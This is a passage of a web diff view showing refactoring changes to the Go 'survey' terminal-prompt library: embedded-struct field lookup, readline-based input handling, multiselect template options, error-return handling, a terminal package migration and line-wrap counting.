if t, ok := memoizedGetTemplate[tmpl]; ok {
memoMutex.RUnlock()
+37 -19
View File
@@ -24,6 +24,11 @@ type OptionAnswer struct {
Index int
}
type reflectField struct {
value reflect.Value
fieldType reflect.StructField
}
func OptionAnswerList(incoming []string) []OptionAnswer {
list := []OptionAnswer{}
for i, opt := range incoming {
@@ -63,13 +68,12 @@ func WriteAnswer(t interface{}, name string, v interface{}) (err error) {
}
// get the name of the field that matches the string we were given
fieldIndex, err := findFieldIndex(elem, name)
field, _, err := findField(elem, name)
// if something went wrong
if err != nil {
// bubble up
return err
}
field := elem.Field(fieldIndex)
// handle references to the Settable interface aswell
if s, ok := field.Interface().(Settable); ok {
// use the interface method
@@ -156,37 +160,49 @@ func IsFieldNotMatch(err error) (string, bool) {
// BUG(AlecAivazis): the current implementation might cause weird conflicts if there are
// two fields with same name that only differ by casing.
func findFieldIndex(s reflect.Value, name string) (int, error) {
// the type of the value
sType := s.Type()
func findField(s reflect.Value, name string) (reflect.Value, reflect.StructField, error) {
fields := flattenFields(s)
// first look for matching tags so we can overwrite matching field names
for i := 0; i < sType.NumField(); i++ {
// the field we are current scanning
field := sType.Field(i)
for _, f := range fields {
// the value of the survey tag
tag := field.Tag.Get(tagName)
tag := f.fieldType.Tag.Get(tagName)
// if the tag matches the name we are looking for
if tag != "" && tag == name {
// then we found our index
return i, nil
return f.value, f.fieldType, nil
}
}
// then look for matching names
for i := 0; i < sType.NumField(); i++ {
// the field we are current scanning
field := sType.Field(i)
for _, f := range fields {
// if the name of the field matches what we're looking for
if strings.ToLower(field.Name) == strings.ToLower(name) {
return i, nil
if strings.EqualFold(f.fieldType.Name, name) {
return f.value, f.fieldType, nil
}
}
// we didn't find the field
return -1, errFieldNotMatch{name}
return reflect.Value{}, reflect.StructField{}, errFieldNotMatch{name}
}
func flattenFields(s reflect.Value) []reflectField {
sType := s.Type()
numField := sType.NumField()
fields := make([]reflectField, 0, numField)
for i := 0; i < numField; i++ {
fieldType := sType.Field(i)
field := s.Field(i)
if field.Kind() == reflect.Struct && fieldType.Anonymous {
// field is a promoted structure
fields = append(fields, flattenFields(field)...)
continue
}
fields = append(fields, reflectField{field, fieldType})
}
return fields
}
// isList returns true if the element is something we can Len()
@@ -343,7 +359,9 @@ func copy(t reflect.Value, v reflect.Value) (err error) {
// otherwise it could be an array
case reflect.Array:
// set the index to the appropriate value
copy(t.Slice(i, i+1).Index(0), v.Index(i))
if err := copy(t.Slice(i, i+1).Index(0), v.Index(i)); err != nil {
return err
}
}
}
} else {
+7 -3
View File
@@ -101,8 +101,10 @@ func (e *Editor) prompt(initialValue string, config *PromptConfig) (interface{},
// start reading runes from the standard in
rr := e.NewRuneReader()
rr.SetTermMode()
defer rr.RestoreTermMode()
_ = rr.SetTermMode()
defer func() {
_ = rr.RestoreTermMode()
}()
cursor := e.NewCursor()
cursor.Hide()
@@ -147,7 +149,9 @@ func (e *Editor) prompt(initialValue string, config *PromptConfig) (interface{},
if err != nil {
return "", err
}
defer os.Remove(f.Name())
defer func() {
_ = os.Remove(f.Name())
}()
// write utf8 BOM header
// The reason why we do this is because notepad.exe on Windows determines the
+104 -80
View File
@@ -1,6 +1,8 @@
package survey
import (
"errors"
"github.com/AlecAivazis/survey/v2/core"
"github.com/AlecAivazis/survey/v2/terminal"
)
@@ -19,8 +21,8 @@ type Input struct {
Default string
Help string
Suggest func(toComplete string) []string
typedAnswer string
answer string
typedAnswer string
options []core.OptionAnswer
selectedIndex int
showingHelp bool
@@ -58,85 +60,90 @@ var InputQuestionTemplate = `
{{- if and .Suggest }}{{color "cyan"}}{{ print .Config.SuggestInput }} for suggestions{{end -}}
]{{color "reset"}} {{end}}
{{- if .Default}}{{color "white"}}({{.Default}}) {{color "reset"}}{{end}}
{{- .Answer -}}
{{- end}}`
func (i *Input) OnChange(key rune, config *PromptConfig) (bool, error) {
if key == terminal.KeyEnter || key == '\n' {
if i.answer != config.HelpInput || i.Help == "" {
// we're done
return true, nil
} else {
i.answer = ""
i.showingHelp = true
}
} else if key == terminal.KeyDeleteWord || key == terminal.KeyDeleteLine {
i.answer = ""
} else if key == terminal.KeyEscape && i.Suggest != nil {
if len(i.options) > 0 {
func (i *Input) onRune(config *PromptConfig) terminal.OnRuneFn {
return terminal.OnRuneFn(func(key rune, line []rune) ([]rune, bool, error) {
if i.options != nil && (key == terminal.KeyEnter || key == '\n') {
return []rune(i.answer), true, nil
} else if i.options != nil && key == terminal.KeyEscape {
i.answer = i.typedAnswer
}
i.options = nil
} else if key == terminal.KeyArrowUp && len(i.options) > 0 {
if i.selectedIndex == 0 {
i.selectedIndex = len(i.options) - 1
} else {
i.selectedIndex--
}
i.answer = i.options[i.selectedIndex].Value
} else if (key == terminal.KeyArrowDown || key == terminal.KeyTab) && len(i.options) > 0 {
if i.selectedIndex == len(i.options)-1 {
i.options = nil
} else if key == terminal.KeyArrowUp && len(i.options) > 0 {
if i.selectedIndex == 0 {
i.selectedIndex = len(i.options) - 1
} else {
i.selectedIndex--
}
i.answer = i.options[i.selectedIndex].Value
} else if (key == terminal.KeyArrowDown || key == terminal.KeyTab) && len(i.options) > 0 {
if i.selectedIndex == len(i.options)-1 {
i.selectedIndex = 0
} else {
i.selectedIndex++
}
i.answer = i.options[i.selectedIndex].Value
} else if key == terminal.KeyTab && i.Suggest != nil {
i.answer = string(line)
i.typedAnswer = i.answer
options := i.Suggest(i.answer)
i.selectedIndex = 0
} else {
i.selectedIndex++
}
i.answer = i.options[i.selectedIndex].Value
} else if key == terminal.KeyTab && i.Suggest != nil {
options := i.Suggest(i.answer)
i.selectedIndex = 0
i.typedAnswer = i.answer
if len(options) > 0 {
if len(options) == 0 {
return line, false, nil
}
i.answer = options[0]
if len(options) == 1 {
i.typedAnswer = i.answer
i.options = nil
} else {
i.options = core.OptionAnswerList(options)
}
}
} else if key == terminal.KeyDelete || key == terminal.KeyBackspace {
if i.answer != "" {
i.answer = i.answer[0 : len(i.answer)-1]
}
} else if key >= terminal.KeySpace {
i.answer += string(key)
i.typedAnswer = i.answer
i.options = nil
}
} else {
if i.options == nil {
return line, false, nil
}
pageSize := config.PageSize
opts, idx := paginate(pageSize, i.options, i.selectedIndex)
err := i.Render(
InputQuestionTemplate,
InputTemplateData{
Input: *i,
Answer: i.answer,
ShowHelp: i.showingHelp,
SelectedIndex: idx,
PageEntries: opts,
Config: config,
},
)
if key >= terminal.KeySpace {
i.answer += string(key)
}
i.typedAnswer = i.answer
return err != nil, err
i.options = nil
}
pageSize := config.PageSize
opts, idx := paginate(pageSize, i.options, i.selectedIndex)
err := i.Render(
InputQuestionTemplate,
InputTemplateData{
Input: *i,
Answer: i.answer,
ShowHelp: i.showingHelp,
SelectedIndex: idx,
PageEntries: opts,
Config: config,
},
)
if err == nil {
err = readLineAgain
}
return []rune(i.typedAnswer), true, err
})
}
var readLineAgain = errors.New("read line again")
func (i *Input) Prompt(config *PromptConfig) (interface{}, error) {
// render the template
err := i.Render(
InputQuestionTemplate,
InputTemplateData{
Input: *i,
Config: config,
Input: *i,
Config: config,
ShowHelp: i.showingHelp,
},
)
if err != nil {
@@ -145,34 +152,44 @@ func (i *Input) Prompt(config *PromptConfig) (interface{}, error) {
// start reading runes from the standard in
rr := i.NewRuneReader()
rr.SetTermMode()
defer rr.RestoreTermMode()
_ = rr.SetTermMode()
defer func() {
_ = rr.RestoreTermMode()
}()
cursor := i.NewCursor()
cursor.Hide() // hide the cursor
defer cursor.Show() // show the cursor when we're done
if !config.ShowCursor {
cursor.Hide() // hide the cursor
defer cursor.Show() // show the cursor when we're done
}
var line []rune
// start waiting for input
for {
r, _, err := rr.ReadRune()
if err != nil {
return "", err
if i.options != nil {
line = []rune{}
}
if r == terminal.KeyInterrupt {
return "", terminal.InterruptErr
}
if r == terminal.KeyEndTransmission {
break
line, err = rr.ReadLineWithDefault(0, line, i.onRune(config))
if err == readLineAgain {
continue
}
b, err := i.OnChange(r, config)
if err != nil {
return "", err
}
if b {
break
}
break
}
i.answer = string(line)
// readline print an empty line, go up before we render the follow up
cursor.Up(1)
// if we ran into the help string
if i.answer == config.HelpInput && i.Help != "" {
// show the help and prompt again
i.showingHelp = true
return i.Prompt(config)
}
// if the line is empty
@@ -190,13 +207,20 @@ func (i *Input) Prompt(config *PromptConfig) (interface{}, error) {
}
func (i *Input) Cleanup(config *PromptConfig, val interface{}) error {
// use the default answer when cleaning up the prompt if necessary
ans := i.answer
if ans == "" && i.Default != "" {
ans = i.Default
}
// render the cleanup
return i.Render(
InputQuestionTemplate,
InputTemplateData{
Input: *i,
ShowAnswer: true,
Config: config,
Answer: i.answer,
Answer: ans,
},
)
}
+5 -3
View File
@@ -50,8 +50,10 @@ func (i *Multiline) Prompt(config *PromptConfig) (interface{}, error) {
// start reading runes from the standard in
rr := i.NewRuneReader()
rr.SetTermMode()
defer rr.RestoreTermMode()
_ = rr.SetTermMode()
defer func() {
_ = rr.RestoreTermMode()
}()
cursor := i.NewCursor()
@@ -60,7 +62,7 @@ func (i *Multiline) Prompt(config *PromptConfig) (interface{}, error) {
emptyOnce := false
// get the next line
for {
line := []rune{}
var line []rune
line, err = rr.ReadLine(0)
if err != nil {
return string(line), err
+55 -34
View File
@@ -45,21 +45,36 @@ type MultiSelectTemplateData struct {
ShowHelp bool
PageEntries []core.OptionAnswer
Config *PromptConfig
// These fields are used when rendering an individual option
CurrentOpt core.OptionAnswer
CurrentIndex int
}
// IterateOption sets CurrentOpt and CurrentIndex appropriately so a multiselect option can be rendered individually
func (m MultiSelectTemplateData) IterateOption(ix int, opt core.OptionAnswer) interface{} {
copy := m
copy.CurrentIndex = ix
copy.CurrentOpt = opt
return copy
}
var MultiSelectQuestionTemplate = `
{{- define "option"}}
{{- if eq .SelectedIndex .CurrentIndex }}{{color .Config.Icons.SelectFocus.Format }}{{ .Config.Icons.SelectFocus.Text }}{{color "reset"}}{{else}} {{end}}
{{- if index .Checked .CurrentOpt.Index }}{{color .Config.Icons.MarkedOption.Format }} {{ .Config.Icons.MarkedOption.Text }} {{else}}{{color .Config.Icons.UnmarkedOption.Format }} {{ .Config.Icons.UnmarkedOption.Text }} {{end}}
{{- color "reset"}}
{{- " "}}{{- .CurrentOpt.Value}}
{{end}}
{{- if .ShowHelp }}{{- color .Config.Icons.Help.Format }}{{ .Config.Icons.Help.Text }} {{ .Help }}{{color "reset"}}{{"\n"}}{{end}}
{{- color .Config.Icons.Question.Format }}{{ .Config.Icons.Question.Text }} {{color "reset"}}
{{- color "default+hb"}}{{ .Message }}{{ .FilterMessage }}{{color "reset"}}
{{- if .ShowAnswer}}{{color "cyan"}} {{.Answer}}{{color "reset"}}{{"\n"}}
{{- else }}
{{- " "}}{{- color "cyan"}}[Use arrows to move, space to select, <right> to all, <left> to none, type to filter{{- if and .Help (not .ShowHelp)}}, {{ .Config.HelpInput }} for more help{{end}}]{{color "reset"}}
{{- " "}}{{- color "cyan"}}[Use arrows to move, space to select,{{- if not .Config.RemoveSelectAll }} <right> to all,{{end}}{{- if not .Config.RemoveSelectNone }} <left> to none,{{end}} type to filter{{- if and .Help (not .ShowHelp)}}, {{ .Config.HelpInput }} for more help{{end}}]{{color "reset"}}
{{- "\n"}}
{{- range $ix, $option := .PageEntries}}
{{- if eq $ix $.SelectedIndex }}{{color $.Config.Icons.SelectFocus.Format }}{{ $.Config.Icons.SelectFocus.Text }}{{color "reset"}}{{else}} {{end}}
{{- if index $.Checked $option.Index }}{{color $.Config.Icons.MarkedOption.Format }} {{ $.Config.Icons.MarkedOption.Text }} {{else}}{{color $.Config.Icons.UnmarkedOption.Format }} {{ $.Config.Icons.UnmarkedOption.Text }} {{end}}
{{- color "reset"}}
{{- " "}}{{$option.Value}}{{"\n"}}
{{- template "option" $.IterateOption $ix $option}}
{{- end}}
{{- end}}`
@@ -113,19 +128,20 @@ func (m *MultiSelect) OnChange(key rune, config *PromptConfig) {
m.filter = ""
} else if key == terminal.KeyDelete || key == terminal.KeyBackspace {
if m.filter != "" {
m.filter = m.filter[0 : len(m.filter)-1]
runeFilter := []rune(m.filter)
m.filter = string(runeFilter[0 : len(runeFilter)-1])
}
} else if key >= terminal.KeySpace {
m.filter += string(key)
m.VimMode = false
} else if key == terminal.KeyArrowRight {
} else if !config.RemoveSelectAll && key == terminal.KeyArrowRight {
for _, v := range options {
m.checked[v.Index] = true
}
if !config.KeepFilter {
m.filter = ""
}
} else if key == terminal.KeyArrowLeft {
} else if !config.RemoveSelectNone && key == terminal.KeyArrowLeft {
for _, v := range options {
m.checked[v.Index] = false
}
@@ -158,18 +174,17 @@ func (m *MultiSelect) OnChange(key rune, config *PromptConfig) {
// and we have modified the filter then we should move the page back!
opts, idx := paginate(pageSize, options, m.selectedIndex)
tmplData := MultiSelectTemplateData{
MultiSelect: *m,
SelectedIndex: idx,
Checked: m.checked,
ShowHelp: m.showingHelp,
PageEntries: opts,
Config: config,
}
// render the options
m.Render(
MultiSelectQuestionTemplate,
MultiSelectTemplateData{
MultiSelect: *m,
SelectedIndex: idx,
Checked: m.checked,
ShowHelp: m.showingHelp,
PageEntries: opts,
Config: config,
},
)
_ = m.RenderWithCursorOffset(MultiSelectQuestionTemplate, tmplData, opts, idx)
}
func (m *MultiSelect) filterOptions(config *PromptConfig) []core.OptionAnswer {
@@ -249,31 +264,37 @@ func (m *MultiSelect) Prompt(config *PromptConfig) (interface{}, error) {
opts, idx := paginate(pageSize, core.OptionAnswerList(m.Options), m.selectedIndex)
cursor := m.NewCursor()
cursor.Hide() // hide the cursor
defer cursor.Show() // show the cursor when we're done
cursor.Save() // for proper cursor placement during selection
cursor.Hide() // hide the cursor
defer cursor.Show() // show the cursor when we're done
defer cursor.Restore() // clear any accessibility offsetting on exit
tmplData := MultiSelectTemplateData{
MultiSelect: *m,
SelectedIndex: idx,
Checked: m.checked,
PageEntries: opts,
Config: config,
}
// ask the question
err := m.Render(
MultiSelectQuestionTemplate,
MultiSelectTemplateData{
MultiSelect: *m,
SelectedIndex: idx,
Checked: m.checked,
PageEntries: opts,
Config: config,
},
)
err := m.RenderWithCursorOffset(MultiSelectQuestionTemplate, tmplData, opts, idx)
if err != nil {
return "", err
}
rr := m.NewRuneReader()
rr.SetTermMode()
defer rr.RestoreTermMode()
_ = rr.SetTermMode()
defer func() {
_ = rr.RestoreTermMode()
}()
// start waiting for input
for {
r, _, _ := rr.ReadRune()
r, _, err := rr.ReadRune()
if err != nil {
return "", err
}
if r == '\r' || r == '\n' {
break
}
+9 -4
View File
@@ -44,14 +44,19 @@ func (p *Password) Prompt(config *PromptConfig) (interface{}, error) {
Config: config,
},
)
fmt.Fprint(terminal.NewAnsiStdout(p.Stdio().Out), userOut)
if err != nil {
return "", err
}
if _, err := fmt.Fprint(terminal.NewAnsiStdout(p.Stdio().Out), userOut); err != nil {
return "", err
}
rr := p.NewRuneReader()
rr.SetTermMode()
defer rr.RestoreTermMode()
_ = rr.SetTermMode()
defer func() {
_ = rr.RestoreTermMode()
}()
// no help msg? Just return any response
if p.Help == "" {
@@ -61,7 +66,7 @@ func (p *Password) Prompt(config *PromptConfig) (interface{}, error) {
cursor := p.NewCursor()
line := []rune{}
var line []rune
// process answers looking for help prompt answer
for {
line, err = rr.ReadLine('*')
+49 -10
View File
@@ -7,7 +7,7 @@ import (
"github.com/AlecAivazis/survey/v2/core"
"github.com/AlecAivazis/survey/v2/terminal"
goterm "golang.org/x/crypto/ssh/terminal"
"golang.org/x/term"
)
type Renderer struct {
@@ -61,7 +61,9 @@ func (r *Renderer) Error(config *PromptConfig, invalid error) error {
}
// send the message to the user
fmt.Fprint(terminal.NewAnsiStdout(r.stdio.Out), userOut)
if _, err := fmt.Fprint(terminal.NewAnsiStdout(r.stdio.Out), userOut); err != nil {
return err
}
// add the printed text to the rendered error buffer so we can cleanup later
r.appendRenderedError(layoutOut)
@@ -69,6 +71,14 @@ func (r *Renderer) Error(config *PromptConfig, invalid error) error {
return nil
}
func (r *Renderer) OffsetCursor(offset int) {
cursor := r.NewCursor()
for offset > 0 {
cursor.PreviousLine(1)
offset--
}
}
func (r *Renderer) Render(tmpl string, data interface{}) error {
// cleanup the currently rendered text
lineCount := r.countLines(r.renderedText)
@@ -82,7 +92,9 @@ func (r *Renderer) Render(tmpl string, data interface{}) error {
}
// print the summary
fmt.Fprint(terminal.NewAnsiStdout(r.stdio.Out), userOut)
if _, err := fmt.Fprint(terminal.NewAnsiStdout(r.stdio.Out), userOut); err != nil {
return err
}
// add the printed text to the rendered text buffer so we can cleanup later
r.AppendRenderedText(layoutOut)
@@ -91,6 +103,21 @@ func (r *Renderer) Render(tmpl string, data interface{}) error {
return nil
}
func (r *Renderer) RenderWithCursorOffset(tmpl string, data IterableOpts, opts []core.OptionAnswer, idx int) error {
cursor := r.NewCursor()
cursor.Restore() // clear any accessibility offsetting
if err := r.Render(tmpl, data); err != nil {
return err
}
cursor.Save()
offset := computeCursorOffset(MultiSelectQuestionTemplate, data, opts, idx, r.termWidthSafe())
r.OffsetCursor(offset)
return nil
}
// appendRenderedError appends text to the renderer's error buffer
// which is used to track what has been printed. It is not exported
// as errors should only be displayed via Error(config, error).
@@ -119,26 +146,31 @@ func (r *Renderer) resetPrompt(lines int) {
func (r *Renderer) termWidth() (int, error) {
fd := int(r.stdio.Out.Fd())
termWidth, _, err := goterm.GetSize(fd)
termWidth, _, err := term.GetSize(fd)
return termWidth, err
}
// countLines will return the count of `\n` with the addition of any
// lines that have wrapped due to narrow terminal width
func (r *Renderer) countLines(buf bytes.Buffer) int {
func (r *Renderer) termWidthSafe() int {
w, err := r.termWidth()
if err != nil || w == 0 {
// if we got an error due to terminal.GetSize not being supported
// on current platform then just assume a very wide terminal
w = 10000
}
return w
}
// countLines will return the count of `\n` with the addition of any
// lines that have wrapped due to narrow terminal width
func (r *Renderer) countLines(buf bytes.Buffer) int {
w := r.termWidthSafe()
bufBytes := buf.Bytes()
count := 0
curr := 0
delim := -1
for curr < len(bufBytes) {
var delim int
// read until the next newline or the end of the string
relDelim := bytes.IndexRune(bufBytes[curr:], '\n')
if relDelim != -1 {
@@ -148,8 +180,15 @@ func (r *Renderer) countLines(buf bytes.Buffer) int {
delim = len(bufBytes) // no new line found, read rest of text
}
// account for word wrapping
count += int(utf8.RuneCount(bufBytes[curr:delim]) / w)
if lineWidth := utf8.RuneCount(bufBytes[curr:delim]); lineWidth > w {
// account for word wrapping
count += lineWidth / w
if (lineWidth % w) == 0 {
// content whose width is exactly a multiplier of available width should not
// count as having wrapped on the last line
count -= 1
}
}
curr = delim + 1
}
Loaded 100 of 418 files, more files were not shown because too many files have changed in this diff. Show more